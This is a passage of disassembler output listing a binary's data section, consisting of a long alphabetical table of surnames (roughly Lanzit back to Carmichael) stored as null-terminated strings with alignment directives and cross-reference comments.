; DATA XREF: ___:0042E318o aLanzit db 'Lanzit',0 ; DATA XREF: ___:0042E314o align 4 aLantieri db 'Lantieri',0 ; DATA XREF: ___:0042E310o align 4 aLankes db 'Lankes',0 ; DATA XREF: ___:0042E30Co align 10h aLandes db 'Landes',0 ; DATA XREF: ___:0042E308o ; ___:004329A4o align 4 dword_430058 dd 6C6C614Ch ; DATA XREF: ___:0042E304o aEmant db 'emant',0 ; DATA XREF: ___:off_432840o align 4 aLaing db 'Laing',0 ; DATA XREF: ___:0042E300o align 4 aLafler db 'Lafler',0 ; DATA XREF: ___:0042E2FCo align 4 aLabunka db 'Labunka',0 ; DATA XREF: ___:0042E2F8o aLa db 'La',0 ; DATA XREF: ___:0042E2F4o align 10h aKuwabara db 'Kuwabara',0 ; DATA XREF: ___:0042E2F0o align 4 aKusman db 'Kusman',0 ; DATA XREF: ___:0042E2ECo align 4 aKumar db 'Kumar',0 ; DATA XREF: ___:0042E2E8o align 4 aKuenzli db 'Kuenzli',0 ; DATA XREF: ___:0042E2E4o aKrysiak db 'Krysiak',0 ; DATA XREF: ___:0042E2E0o aKroemer db 'Kroemer',0 ; DATA XREF: ___:0042E2DCo aKraus db 'Kraus',0 ; DATA XREF: ___:0042E2D8o align 4 aKrasney db 'Krasney',0 ; DATA XREF: ___:0042E2D4o aKrailo db 'Krailo',0 ; DATA XREF: ___:0042E2D0o align 4 aKraemer db 'Kraemer',0 ; DATA XREF: ___:0042E2CCo aKovaks db 'Kovaks',0 ; DATA XREF: ___:0042E2C8o align 4 aKotter db 'Kotter',0 ; DATA XREF: ___:0042E2C4o align 4 aKorzybski db 'Korzybski',0 ; DATA XREF: ___:0042E2C0o align 10h aKool db 'Kool',0 ; DATA XREF: ___:0042E2BCo align 4 aKonrad db 'Konrad',0 ; DATA XREF: ___:0042E2B8o align 10h aKoniaris db 'Koniaris',0 ; DATA XREF: ___:0042E2B4o align 4 aKommer db 'Kommer',0 ; DATA XREF: ___:0042E2B0o align 4 aKoivumaki db 'Koivumaki',0 ; DATA XREF: ___:0042E2ACo align 10h aKohn db 'Kohn',0 ; DATA XREF: ___:0042E2A8o align 4 aKoch db 'Koch',0 ; DATA XREF: ___:0042E2A4o align 10h aKobrick db 'Kobrick',0 ; DATA XREF: ___:0042E2A0o aKnuff db 'Knuff',0 ; DATA XREF: ___:0042E29Co align 10h aKlint db 'Klint',0 ; DATA XREF: ___:0042E298o align 4 aKlinkenborg db 'Klinkenborg',0 ; DATA XREF: ___:0042E294o aKling db 'Kling',0 ; DATA XREF: ___:0042E290o align 4 aKlemperer db 'Klemperer',0 ; DATA XREF: ___:0042E28Co align 4 aKleinfelder db 'Kleinfelder',0 ; DATA XREF: ___:0042E288o aKleiman db 'Kleiman',0 ; DATA XREF: ___:0042E284o aKleckner db 'Kleckner',0 ; DATA XREF: ___:0042E280o align 4 aKittridge db 'Kittridge',0 ; DATA XREF: ___:0042E27Co align 4 aKirscht db 'Kirscht',0 ; DATA XREF: ___:0042E278o aKippenberger db 'Kippenberger',0 ; DATA XREF: ___:0042E274o align 4 aKinsley db 'Kinsley',0 ; DATA XREF: ___:0042E270o aKindall db 'Kindall',0 ; DATA XREF: ___:0042E26Co aKimura db 'Kimura',0 ; DATA XREF: ___:0042E268o align 4 aKimmett db 'Kimmett',0 ; DATA XREF: ___:0042E264o aKimmel db 'Kimmel',0 ; DATA XREF: ___:0042E260o align 4 aKhong db 'Khong',0 ; DATA XREF: ___:0042E25Co align 4 aKeul db 'Keul',0 ; DATA XREF: ___:0042E258o align 4 aKerry db 'Kerry',0 ; DATA XREF: ___:0042E254o align 4 aKendall db 'Kendall',0 ; DATA XREF: ___:0042E250o aKemsley db 'Kemsley',0 ; DATA XREF: ___:0042E24Co aKempton db 'Kempton',0 ; DATA XREF: ___:0042E248o aKelsey db 'Kelsey',0 ; DATA XREF: ___:0042E244o align 4 aKelker db 'Kelker',0 ; DATA XREF: ___:0042E240o align 4 aKeith db 'Keith',0 ; DATA XREF: ___:0042E23Co align 4 aKeepper db 'Keepper',0 ; DATA XREF: ___:0042E238o aKeenan db 'Keenan',0 ; DATA XREF: ___:0042E234o align 4 aKee db 'Kee',0 ; DATA XREF: ___:0042E230o aKawachi db 'Kawachi',0 ; DATA XREF: ___:0042E22Co aKasten db 'Kasten',0 ; DATA XREF: ___:0042E228o align 10h aKassower db 'Kassower',0 ; DATA XREF: ___:0042E224o align 4 aKarpouzes db 'Karpouzes',0 ; DATA XREF: ___:0042E220o align 4 aKangis db 'Kangis',0 ; DATA XREF: ___:0042E21Co align 10h aKamel db 'Kamel',0 ; DATA XREF: ___:0042E218o align 4 aKalman db 'Kalman',0 ; DATA XREF: ___:0042E214o align 10h aKalinowski db 'Kalinowski',0 ; DATA XREF: ___:0042E210o align 4 aKalil db 'Kalil',0 ; DATA XREF: ___:0042E20Co align 4 aKaligian db 'Kaligian',0 ; DATA XREF: ___:0042E208o align 10h aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: ___:0042E204o aKafadar db 'Kafadar',0 ; DATA XREF: ___:0042E200o aKaboolian db 'Kaboolian',0 ; DATA XREF: ___:0042E1FCo align 10h aKabbash db 'Kabbash',0 ; DATA XREF: ___:0042E1F8o aJulious db 'Julious',0 ; DATA XREF: ___:0042E1F4o aJuliano db 'Juliano',0 ; DATA XREF: ___:0042E1F0o aJucks db 'Jucks',0 ; DATA XREF: ___:0042E1ECo align 10h aJorgensen db 'Jorgensen',0 ; DATA XREF: ___:0042E1E8o align 4 aJolly db 'Jolly',0 ; DATA XREF: ___:0042E1E4o align 4 aJohns db 'Johns',0 ; DATA XREF: ___:0042E1E0o align 4 aJohannsen db 'Johannsen',0 ; DATA XREF: ___:0042E1DCo align 4 aJohannesson db 'Johannesson',0 ; DATA XREF: ___:0042E1D8o aJewett db 'Jewett',0 ; DATA XREF: ___:0042E1D4o align 4 aJespersen db 'Jespersen',0 ; DATA XREF: ___:0042E1D0o align 4 aJenkins db 'Jenkins',0 ; DATA XREF: ___:0042E1CCo aJellis db 'Jellis',0 ; DATA XREF: ___:0042E1C8o align 4 aJeffers db 'Jeffers',0 ; DATA XREF: ___:0042E1C4o aJay db 'Jay',0 ; DATA XREF: ___:0042E1C0o aJarrell db 'Jarrell',0 ; DATA XREF: ___:0042E1BCo aJarnagin db 'Jarnagin',0 ; DATA XREF: ___:0042E1B8o align 4 aJanjigian db 'Janjigian',0 ; DATA XREF: ___:0042E1B4o align 4 aJamil db 'Jamil',0 ; DATA XREF: ___:0042E1B0o align 4 aJain db 'Jain',0 ; DATA XREF: ___:0042E1ACo align 4 aJagoe db 'Jagoe',0 ; DATA XREF: ___:0042E1A8o align 4 aJagger db 'Jagger',0 ; DATA XREF: ___:0042E1A4o align 4 aJagers db 'Jagers',0 ; DATA XREF: ___:0042E1A0o align 4 aJackson db 'Jackson',0 ; DATA XREF: ___:0042E19Co aJacenko db 'Jacenko',0 ; DATA XREF: ___:0042E198o aIyer db 'Iyer',0 ; DATA XREF: ___:0042E194o align 4 aIsserman db 'Isserman',0 ; DATA XREF: ___:0042E190o align 10h aIsbill db 'Isbill',0 ; DATA XREF: ___:0042E18Co align 4 aIsaievych db 'Isaievych',0 ; DATA XREF: ___:0042E188o align 4 aIsaac db 'Isaac',0 ; DATA XREF: ___:0042E184o align 4 aInniss db 'Inniss',0 ; DATA XREF: ___:0042E180o align 4 aInamura db 'Inamura',0 ; DATA XREF: ___:0042E17Co aIgarashi db 'Igarashi',0 ; DATA XREF: ___:0042E178o align 4 aIchikawa db 'Ichikawa',0 ; DATA XREF: ___:0042E174o align 4 aIaquinta db 'Iaquinta',0 ; DATA XREF: ___:0042E170o align 10h aHyde db 'Hyde',0 ; DATA XREF: ___:0042E16Co align 4 aHutchings db 'Hutchings',0 ; DATA XREF: ___:0042E168o align 4 aHurtubise db 'Hurtubise',0 ; DATA XREF: ___:0042E164o align 10h aHupp db 'Hupp',0 ; DATA XREF: ___:0042E160o align 4 aHuntington db 'Huntington',0 ; DATA XREF: ___:0042E15Co align 4 aHungerford db 'Hungerford',0 ; DATA XREF: ___:0042E158o align 10h aHuidekoper db 'Huidekoper',0 ; DATA XREF: ___:0042E154o align 4 aHuey db 'Huey',0 ; DATA XREF: ___:0042E150o align 4 aHoy db 'Hoy',0 ; DATA XREF: ___:0042E14Co aHoward db 'Howard',0 ; DATA XREF: ___:0042E148o align 10h aHottle db 'Hottle',0 ; DATA XREF: ___:0042E144o align 4 aHostage db 'Hostage',0 ; DATA XREF: ___:0042E140o aHoshida db 'Hoshida',0 ; DATA XREF: ___:0042E13Co aHorsley db 'Horsley',0 ; DATA XREF: ___:0042E138o aHopkins db 'Hopkins',0 ; DATA XREF: ___:0042E134o aHooker db 'Hooker',0 ; DATA XREF: ___:0042E130o align 10h aHolzman db 'Holzman',0 ; DATA XREF: ___:0042E12Co aHolway db 'Holway',0 ; DATA XREF: ___:0042E128o align 10h aHolter db 'Holter',0 ; DATA XREF: ___:0042E124o align 4 aHoloien db 'Holoien',0 ; DATA XREF: ___:0042E120o aHolmes db 'Holmes',0 ; DATA XREF: ___:0042E11Co align 4 aHokoda db 'Hokoda',0 ; DATA XREF: ___:0042E118o align 10h aHokanson db 'Hokanson',0 ; DATA XREF: ___:0042E114o align 4 aHoffman db 'Hoffman',0 ; DATA XREF: ___:0042E110o aHoffer db 'Hoffer',0 ; DATA XREF: ___:0042E10Co align 4 aHock db 'Hock',0 ; DATA XREF: ___:0042E108o align 4 aHoang db 'Hoang',0 ; DATA XREF: ___:0042E104o align 4 aHitchcock db 'Hitchcock',0 ; DATA XREF: ___:0042E100o align 4 aHirst db 'Hirst',0 ; DATA XREF: ___:0042E0FCo align 10h aHind db 'Hind',0 ; DATA XREF: ___:0042E0F8o align 4 aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: ___:0042E0F4o align 4 aHeyeck db 'Heyeck',0 ; DATA XREF: ___:0042E0F0o align 4 aHeubert db 'Heubert',0 ; DATA XREF: ___:0042E0ECo aHester db 'Hester',0 ; DATA XREF: ___:0042E0E8o align 4 aHerrera db 'Herrera',0 ; DATA XREF: ___:0042E0E4o aHernandez db 'Hernandez',0 ; DATA XREF: ___:0042E0E0o align 10h aHenrichs db 'Henrichs',0 ; DATA XREF: ___:0042E0DCo align 4 aHenery db 'Henery',0 ; DATA XREF: ___:0042E0D8o align 4 aHemphill db 'Hemphill',0 ; DATA XREF: ___:0042E0D4o align 10h aHelprin db 'Helprin',0 ; DATA XREF: ___:0042E0D0o aHellmiss db 'Hellmiss',0 ; DATA XREF: ___:0042E0CCo align 4 aHellman db 'Hellman',0 ; DATA XREF: ___:0042E0C8o aHeiland db 'Heiland',0 ; DATA XREF: ___:0042E0C4o aHeft db 'Heft',0 ; DATA XREF: ___:0042E0C0o align 4 aHeermans db 'Heermans',0 ; DATA XREF: ___:0042E0BCo align 4 aHazlewood db 'Hazlewood',0 ; DATA XREF: ___:0042E0B8o align 4 aHaynes db 'Haynes',0 ; DATA XREF: ___:0042E0B4o align 4 aHayes db 'Hayes',0 ; DATA XREF: ___:0042E0B0o align 4 aHawkes db 'Hawkes',0 ; DATA XREF: ___:0042E0ACo align 4 aHaviaras db 'Haviaras',0 ; DATA XREF: ___:0042E0A8o align 4 aHarwell db 'Harwell',0 ; DATA XREF: ___:0042E0A4o aHartnett db 'Hartnett',0 ; DATA XREF: ___:0042E0A0o align 4 aHartmann db 'Hartmann',0 ; DATA XREF: ___:0042E09Co align 4 aHartman db 'Hartman',0 ; DATA XREF: ___:0042E098o aHarrigan db 'Harrigan',0 ; DATA XREF: ___:0042E094o align 4 aHarlow db 'Harlow',0 ; DATA XREF: ___:0042E090o align 4 aHargraves db 'Hargraves',0 ; DATA XREF: ___:0042E08Co align 10h aHarding db 'Harding',0 ; DATA XREF: ___:0042E088o aHanssen db 'Hanssen',0 ; DATA XREF: ___:0042E084o aHand db 'Hand',0 ; DATA XREF: ___:0042E080o align 4 aHammerness db 'Hammerness',0 ; DATA XREF: ___:0042E07Co align 4 aHamer db 'Hamer',0 ; DATA XREF: ___:0042E078o align 4 aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: ___:0042E074o align 4 aHalpert db 'Halpert',0 ; DATA XREF: ___:0042E070o aHallowell db 'Hallowell',0 ; DATA XREF: ___:0042E06Co align 10h aHalkias db 'Halkias',0 ; DATA XREF: ___:0042E068o aHaley db 'Haley',0 ; DATA XREF: ___:0042E064o align 10h aHackshaw db 'Hackshaw',0 ; DATA XREF: ___:0042E060o align 4 aHackman db 'Hackman',0 ; DATA XREF: ___:0042E05Co aHaar db 'Haar',0 ; DATA XREF: ___:0042E058o align 4 aHa db 'Ha',0 ; DATA XREF: ___:0042E054o align 10h aGuo db 'Guo',0 ; DATA XREF: ___:0042E050o aGunn db 'Gunn',0 ; DATA XREF: ___:0042E04Co align 4 aGuenthart db 'Guenthart',0 ; DATA XREF: ___:0042E048o align 4 aGruppe db 'Gruppe',0 ; DATA XREF: ___:0042E044o align 10h aGruner db 'Gruner',0 ; DATA XREF: ___:0042E040o align 4 aGrummell db 'Grummell',0 ; DATA XREF: ___:0042E03Co align 4 aGrigoletto db 'Grigoletto',0 ; DATA XREF: ___:0042E038o align 10h aGriffiths db 'Griffiths',0 ; DATA XREF: ___:0042E034o align 4 aGreenfeld db 'Greenfeld',0 ; DATA XREF: ___:0042E030o align 4 aGreenberg db 'Greenberg',0 ; DATA XREF: ___:0042E02Co align 4 aGravell db 'Gravell',0 ; DATA XREF: ___:0042E028o aGozzi db 'Gozzi',0 ; DATA XREF: ___:0042E024o align 4 aGoody db 'Goody',0 ; DATA XREF: ___:0042E020o align 4 aGoodearl db 'Goodearl',0 ; DATA XREF: ___:0042E01Co align 4 aGood db 'Good',0 ; DATA XREF: ___:0042E018o align 10h aGoncalves db 'Goncalves',0 ; DATA XREF: ___:0042E014o align 4 aGoldfarb db 'Goldfarb',0 ; DATA XREF: ___:0042E010o align 4 aGlendon db 'Glendon',0 ; DATA XREF: ___:0042E00Co aGlegg db 'Glegg',0 ; DATA XREF: ___:0042E008o align 4 aGleason db 'Gleason',0 ; DATA XREF: ___:0042E004o aGist db 'Gist',0 ; DATA XREF: ___:0042E000o align 4 aGillispie db 'Gillispie',0 ; DATA XREF: ___:0042DFFCo align 4 aGill db 'Gill',0 ; DATA XREF: ___:0042DFF8o align 4 aGili db 'Gili',0 ; DATA XREF: ___:0042DFF4o align 4 aGilbert db 'Gilbert',0 ; DATA XREF: ___:0042DFF0o aGibson db 'Gibson',0 ; DATA XREF: ___:0042DFECo align 4 aGibbens db 'Gibbens',0 ; DATA XREF: ___:0042DFE8o aGhorai db 'Ghorai',0 ; DATA XREF: ___:0042DFE4o align 4 aGerrett db 'Gerrett',0 ; DATA XREF: ___:0042DFE0o aGeorgi db 'Georgi',0 ; DATA XREF: ___:0042DFDCo align 4 aGemberling db 'Gemberling',0 ; DATA XREF: ___:0042DFD8o align 10h aGeller db 'Geller',0 ; DATA XREF: ___:0042DFD4o align 4 aGaronna db 'Garonna',0 ; DATA XREF: ___:0042DFD0o aGarman db 'Garman',0 ; DATA XREF: ___:0042DFCCo align 4 aGarfield db 'Garfield',0 ; DATA XREF: ___:0042DFC8o align 4 aGambini db 'Gambini',0 ; DATA XREF: ___:0042DFC4o aGalwey db 'Galwey',0 ; DATA XREF: ___:0042DFC0o align 4 aGaleotti db 'Galeotti',0 ; DATA XREF: ___:0042DFBCo align 10h aGaggiotti db 'Gaggiotti',0 ; DATA XREF: ___:0042DFB8o align 4 aGabrielli db 'Gabrielli',0 ; DATA XREF: ___:0042DFB4o align 4 aFusaro db 'Fusaro',0 ; DATA XREF: ___:0042DFB0o align 10h aFurth db 'Furth',0 ; DATA XREF: ___:0042DFACo align 4 aFuller db 'Fuller',0 ; DATA XREF: ___:0042DFA8o align 10h aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: ___:0042DFA4o align 4 aFrye db 'Frye',0 ; DATA XREF: ___:0042DFA0o align 4 aFryberger db 'Fryberger',0 ; DATA XREF: ___:0042DF9Co align 10h aFrowiss db 'Frowiss',0 ; DATA XREF: ___:0042DF98o aFrisken db 'Frisken',0 ; DATA XREF: ___:0042DF94o aFriedland db 'Friedland',0 ; DATA XREF: ___:0042DF90o align 4 aFried db 'Fried',0 ; DATA XREF: ___:0042DF8Co align 4 aFreundlich db 'Freundlich',0 ; DATA XREF: ___:0042DF88o align 10h aFreid db 'Freid',0 ; DATA XREF: ___:0042DF84o align 4 aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: ___:0042DF80o align 4 aFranz db 'Franz',0 ; DATA XREF: ___:0042DF7Co align 10h aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: ___:0042DF78o align 10h aFrancisco db 'Francisco',0 ; DATA XREF: ___:0042DF74o align 4 aFossi db 'Fossi',0 ; DATA XREF: ___:0042DF70o align 4 aFossey db 'Fossey',0 ; DATA XREF: ___:0042DF6Co align 4 aFortier db 'Fortier',0 ; DATA XREF: ___:0042DF68o aFortes db 'Fortes',0 ; DATA XREF: ___:0042DF64o align 4 aForester db 'Forester',0 ; DATA XREF: ___:0042DF60o align 4 aFolks db 'Folks',0 ; DATA XREF: ___:0042DF5Co align 10h aFlores db 'Flores',0 ; DATA XREF: ___:0042DF58o align 4 aFlier db 'Flier',0 ; DATA XREF: ___:0042DF54o align 10h aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: ___:0042DF50o aFisk db 'Fisk',0 ; DATA XREF: ___:0042DF4Co align 4 aFiorina db 'Fiorina',0 ; DATA XREF: ___:0042DF48o aFinnegan db 'Finnegan',0 ; DATA XREF: ___:0042DF44o align 4 aFinkelstein db 'Finkelstein',0 ; DATA XREF: ___:0042DF40o aFink db 'Fink',0 ; DATA XREF: ___:0042DF3Co align 4 aField db 'Field',0 ; DATA XREF: ___:0042DF38o align 4 aFido db 'Fido',0 ; DATA XREF: ___:0042DF34o align 4 aFeuer db 'Feuer',0 ; DATA XREF: ___:0042DF30o align 4 aFerriell db 'Ferriell',0 ; DATA XREF: ___:0042DF2Co align 10h aFerrante db 'Ferrante',0 ; DATA XREF: ___:0042DF28o align 4 aFernandes db 'Fernandes',0 ; DATA XREF: ___:0042DF24o align 4 aFernald db 'Fernald',0 ; DATA XREF: ___:0042DF20o aFeldman db 'Feldman',0 ; DATA XREF: ___:0042DF1Co aFejzo db 'Fejzo',0 ; DATA XREF: ___:0042DF18o align 10h aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: ___:0042DF14o align 4 aFates db 'Fates',0 ; DATA XREF: ___:0042DF10o align 4 aFasso db 'Fasso',27h,0 ; DATA XREF: ___:0042DF0Co align 4 aFarren db 'Farren',0 ; DATA XREF: ___:0042DF08o align 4 aFarone db 'Farone',0 ; DATA XREF: ___:0042DF04o align 4 aFaris db 'Faris',0 ; DATA XREF: ___:0042DF00o align 4 aFalorsi db 'Falorsi',0 ; DATA XREF: ___:0042DEFCo aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: ___:0042DEF8o align 4 aFaioes db 'Faioes',0 ; DATA XREF: ___:0042DEF4o align 4 aFagan db 'Fagan',0 ; DATA XREF: ___:0042DEF0o align 4 aFabbris db 'Fabbris',0 ; DATA XREF: ___:0042DEECo aEverett db 'Everett',0 ; DATA XREF: ___:0042DEE8o aEuripides db 'Euripides',0 ; DATA XREF: ___:0042DEE4o align 4 aEtter db 'Etter',0 ; DATA XREF: ___:0042DEE0o align 10h aEstes db 'Estes',0 ; DATA XREF: ___:0042DEDCo align 4 aEspinoza db 'Espinoza',0 ; DATA XREF: ___:0042DED8o align 4 aErez db 'Erez',0 ; DATA XREF: ___:0042DED4o align 4 aErdos db 'Erdos',0 ; DATA XREF: ___:0042DED0o align 4 aErdman db 'Erdman',0 ; DATA XREF: ___:0042DECCo align 4 aErbach db 'Erbach',0 ; DATA XREF: ___:0042DEC8o align 4 aEppling db 'Eppling',0 ; DATA XREF: ___:0042DEC4o aEnyeart db 'Enyeart',0 ; DATA XREF: ___:0042DEC0o aEncinas db 'Encinas',0 ; DATA XREF: ___:0042DEBCo aElvis db 'Elvis',0 ; DATA XREF: ___:0042DEB8o align 4 aElmerick db 'Elmerick',0 ; DATA XREF: ___:0042DEB4o align 10h aElmendorf db 'Elmendorf',0 ; DATA XREF: ___:0042DEB0o align 4 aEliasson db 'Eliasson',0 ; DATA XREF: ___:0042DEACo align 4 aEickenhorst db 'Eickenhorst',0 ; DATA XREF: ___:0042DEA8o aEdward db 'Edward',0 ; DATA XREF: ___:0042DEA4o align 4 aEdner db 'Edner',0 ; DATA XREF: ___:0042DEA0o align 4 aEdley db 'Edley',0 ; DATA XREF: ___:0042DE9Co align 4 aEckel db 'Eckel',0 ; DATA XREF: ___:0042DE98o align 4 aEbeling db 'Ebeling',0 ; DATA XREF: ___:0042DE94o aEardley db 'Eardley',0 ; DATA XREF: ___:0042DE90o aDwyer db 'Dwyer',0 ; DATA XREF: ___:0042DE8Co align 4 aDussault db 'Dussault',0 ; DATA XREF: ___:0042DE88o align 4 aDurrett db 'Durrett',0 ; DATA XREF: ___:0042DE84o aDuffin db 'Duffin',0 ; DATA XREF: ___:0042DE80o align 4 aDSouza db 'D',27h,'souza',0 ; DATA XREF: ___:0042DE7Co aDrinker db 'Drinker',0 ; DATA XREF: ___:0042DE78o aDowsland db 'Dowsland',0 ; DATA XREF: ___:0042DE74o align 4 aDoug db 'Doug',0 ; DATA XREF: ___:0042DE70o align 4 aDoty db 'Doty',0 ; DATA XREF: ___:0042DE6Co align 4 aDosi db 'Dosi',0 ; DATA XREF: ___:0042DE68o align 4 aDorf db 'Dorf',0 ; DATA XREF: ___:0042DE64o align 4 aDore db 'Dore',0 ; DATA XREF: ___:0042DE60o align 4 aDoonan db 'Doonan',0 ; DATA XREF: ___:0042DE5Co align 4 aDonner db 'Donner',0 ; DATA XREF: ___:0042DE58o align 4 aDonahue db 'Donahue',0 ; DATA XREF: ___:0042DE54o aDoherty db 'Doherty',0 ; DATA XREF: ___:0042DE50o aDockery db 'Dockery',0 ; DATA XREF: ___:0042DE4Co aDirksen db 'Dirksen',0 ; DATA XREF: ___:0042DE48o aDionysius db 'Dionysius',0 ; DATA XREF: ___:0042DE44o align 4 aDilworth db 'Dilworth',0 ; DATA XREF: ___:0042DE40o align 4 aDifronzo db 'Difronzo',0 ; DATA XREF: ___:0042DE3Co align 10h aDifabio db 'Difabio',0 ; DATA XREF: ___:0042DE38o aDiefenbach db 'Diefenbach',0 ; DATA XREF: ___:0042DE34o align 4 aDicks db 'Dicks',0 ; DATA XREF: ___:0042DE30o align 4 aDFini db 'D',27h,'fini',0 ; DATA XREF: ___:0042DE2Co align 4 aDeutsch db 'Deutsch',0 ; DATA XREF: ___:0042DE28o aDesombre db 'Desombre',0 ; DATA XREF: ___:0042DE24o align 4 aDenison db 'Denison',0 ; DATA XREF: ___:0042DE20o aDenham db 'Denham',0 ; DATA XREF: ___:0042DE1Co align 4 aDenault db 'Denault',0 ; DATA XREF: ___:0042DE18o aDemusz db 'Demusz',0 ; DATA XREF: ___:0042DE14o align 4 aDempster db 'Dempster',0 ; DATA XREF: ___:0042DE10o align 4 aDeming db 'Deming',0 ; DATA XREF: ___:0042DE0Co align 4 aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042DE08o align 4 aDelger db 'Delger',0 ; DATA XREF: ___:0042DE04o align 10h aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: ___:0042DE00o align 10h aDelattre db 'Delattre',0 ; DATA XREF: ___:0042DDFCo align 4 aDefeciani db 'Defeciani',0 ; DATA XREF: ___:0042DDF8o align 4 aDees db 'Dees',0 ; DATA XREF: ___:0042DDF4o align 10h aDebroff db 'Debroff',0 ; DATA XREF: ___:0042DDF0o aDerousse db 'deRousse',0 ; DATA XREF: ___:0042DDECo align 4 aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042DDE8o align 10h aDelapena db 'DeLaPena',0 ; DATA XREF: ___:0042DDE4o align 4 aDegennaro db 'DeGennaro',0 ; DATA XREF: ___:0042DDE0o align 4 aDawkins db 'Dawkins',0 ; DATA XREF: ___:0042DDDCo aDavid db 'David',0 ; DATA XREF: ___:0042DDD8o align 4 aDaskalu db 'Daskalu',0 ; DATA XREF: ___:0042DDD4o aDasgupta db 'Dasgupta',0 ; DATA XREF: ___:0042DDD0o align 4 aDas db 'Das',0 ; DATA XREF: ___:0042DDCCo aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042DDC8o aDapice db 'Dapice',0 ; DATA XREF: ___:0042DDC4o align 4 aDante db 'Dante',0 ; DATA XREF: ___:0042DDC0o align 4 aDanieli db 'Danieli',0 ; DATA XREF: ___:0042DDBCo aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: ___:0042DDB8o aDaly db 'Daly',0 ; DATA XREF: ___:0042DDB4o align 4 aDaldalian db 'Daldalian',0 ; DATA XREF: ___:0042DDB0o align 10h aDasilva db 'daSilva',0 ; DATA XREF: ___:0042DDACo aCyders db 'Cyders',0 ; DATA XREF: ___:0042DDA8o align 10h aCvek db 'Cvek',0 ; DATA XREF: ___:0042DDA4o align 4 aCutler db 'Cutler',0 ; DATA XREF: ___:0042DDA0o align 10h aCurrier db 'Currier',0 ; DATA XREF: ___:0042DD9Co aCui db 'Cui',0 ; DATA XREF: ___:0042DD98o aCroxton db 'Croxton',0 ; DATA XREF: ___:0042DD94o aCroxen db 'Croxen',0 ; DATA XREF: ___:0042DD90o align 4 aCroshaw db 'Croshaw',0 ; DATA XREF: ___:0042DD8Co aCrocker db 'Crocker',0 ; DATA XREF: ___:0042DD88o aCrawford db 'Crawford',0 ; DATA XREF: ___:0042DD84o align 4 aCoutaux db 'Coutaux',0 ; DATA XREF: ___:0042DD80o aCounter db 'Counter',0 ; DATA XREF: ___:0042DD7Co aCosmides db 'Cosmides',0 ; DATA XREF: ___:0042DD78o align 4 aCornish db 'Cornish',0 ; DATA XREF: ___:0042DD74o aCorey db 'Corey',0 ; DATA XREF: ___:0042DD70o align 4 aConnors db 'Connors',0 ; DATA XREF: ___:0042DD6Co aCondodina db 'Condodina',0 ; DATA XREF: ___:0042DD68o align 4 aConcino db 'Concino',0 ; DATA XREF: ___:0042DD64o aComstock db 'Comstock',0 ; DATA XREF: ___:0042DD60o align 4 aCompton db 'Compton',0 ; DATA XREF: ___:0042DD58o ; ___:0042DD5Co aCollis db 'Collis',0 ; DATA XREF: ___:0042DD54o align 4 aCollard db 'Collard',0 ; DATA XREF: ___:0042DD50o aColella db 'Colella',0 ; DATA XREF: ___:0042DD4Co aColdren db 'Coldren',0 ; DATA XREF: ___:0042DD48o aCoito db 'Coito',0 ; DATA XREF: ___:0042DD44o align 4 aCoblenz db 'Coblenz',0 ; DATA XREF: ___:0042DD40o aClow db 'Clow',0 ; DATA XREF: ___:0042DD3Co align 4 aClifton db 'Clifton',0 ; DATA XREF: ___:0042DD38o aClement db 'Clement',0 ; DATA XREF: ___:0042DD34o aClark db 'Clark',0 ; DATA XREF: ___:0042DD30o align 4 aClancy db 'Clancy',0 ; DATA XREF: ___:0042DD2Co align 4 aClaffey db 'Claffey',0 ; DATA XREF: ___:0042DD28o aCifarelli db 'Cifarelli',0 ; DATA XREF: ___:0042DD24o align 10h aCicero db 'Cicero',0 ; DATA XREF: ___:0042DD20o align 4 aCiampaglia db 'Ciampaglia',0 ; DATA XREF: ___:0042DD1Co align 4 aChurch db 'Church',0 ; DATA XREF: ___:0042DD18o align 4 aChupasko db 'Chupasko',0 ; DATA XREF: ___:0042DD14o align 4 aChu db 'Chu',0 ; DATA XREF: ___:0042DD10o aChristopher db 'Christopher',0 ; DATA XREF: ___:0042DD0Co aChristie db 'Christie',0 ; DATA XREF: ___:0042DD08o align 4 aChristiano db 'Christiano',0 ; DATA XREF: ___:0042DD04o align 10h aChristian db 'Christian',0 ; DATA XREF: ___:0042DD00o align 4 aChristenson db 'Christenson',0 ; DATA XREF: ___:0042DCFCo aChinman db 'Chinman',0 ; DATA XREF: ___:0042DCF8o aChinipardaz db 'Chinipardaz',0 ; DATA XREF: ___:0042DCF4o aChilds db 'Childs',0 ; DATA XREF: ___:0042DCF0o align 4 aChildress db 'Childress',0 ; DATA XREF: ___:0042DCECo align 10h aChien db 'Chien',0 ; DATA XREF: ___:0042DCE8o align 4 aChiassino db 'Chiassino',0 ; DATA XREF: ___:0042DCE4o align 4 aChervinsky db 'Chervinsky',0 ; DATA XREF: ___:0042DCE0o align 10h aCherry db 'Cherry',0 ; DATA XREF: ___:0042DCDCo align 4 aCheang db 'Cheang',0 ; DATA XREF: ___:0042DCD8o align 10h aCharles db 'Charles',0 ; DATA XREF: ___:0042DCD4o aChapman db 'Chapman',0 ; DATA XREF: ___:0042DCD0o aCerioli db 'Cerioli',0 ; DATA XREF: ___:0042DCCCo aCeniceros db 'Ceniceros',0 ; DATA XREF: ___:0042DCC8o align 4 aCavell db 'Cavell',0 ; DATA XREF: ___:0042DCC4o align 4 aCavanagh db 'Cavanagh',0 ; DATA XREF: ___:0042DCC0o align 4 aCastelda db 'Castelda',0 ; DATA XREF: ___:0042DCBCo align 4 aCaspar db 'Caspar',0 ; DATA XREF: ___:0042DCB8o align 4 aCase db 'Case',0 ; DATA XREF: ___:0042DCB4o align 4 aCascio db 'Cascio',0 ; DATA XREF: ___:0042DCB0o align 4 aCartmill db 'Cartmill',0 ; DATA XREF: ___:0042DCACo align 4 aCarper db 'Carper',0 ; DATA XREF: ___:0042DCA8o align 10h aCaroti db 'Caroti',0 ; DATA XREF: ___:0042DCA4o align 4 aCarmichael db 'Carmichael',0 ; DATA XREF: 